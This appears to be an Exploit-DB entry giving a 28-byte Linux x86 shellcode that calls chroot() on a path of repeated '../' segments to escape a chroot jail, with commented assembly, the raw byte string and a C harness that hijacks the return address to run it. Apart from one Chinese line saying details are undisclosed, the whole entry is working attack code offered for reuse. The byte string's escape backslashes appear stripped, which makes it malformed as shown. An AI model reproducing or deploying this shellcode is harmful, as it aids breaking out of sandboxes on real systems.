https://www.exploit-db.com/exploits/13452

漏洞细节尚未披露

/* The chroot() shellcode. It is the one of the smallest shellcodes
   in the !!world!!
   it will put '../' 10 times
   Size  28 bytes
   OS	 Linux
  		/rootteam/dev0id	(rootteam.void.ru)
			[email protected] 

BITS	32
main:
	xor	ecx,ecx
	xor	eax,eax
	push	ecx
	mov	cl,30
main_push:
	push byte 0x2e
	loop	main_push
	mov	cl,30
main_inc:
	dec	cl
	inc byte [esp+ecx]
	dec	cl
	loop	main_inc
	mov	ebx,esp
	mov	al,61
	int	0x80


*/

char shellcode[] =
	"x31xc9x31xc0x51xb1x1ex6ax2exe2xfcxb1x1exfexc9"
	"xfex04x0cxfexc9xe2xf7x89xe3xb0x3dxcdx80";
int
main(void)
{
	int *ret;
	ret = (int*)&ret + 2;
	(*ret) = shellcode;
}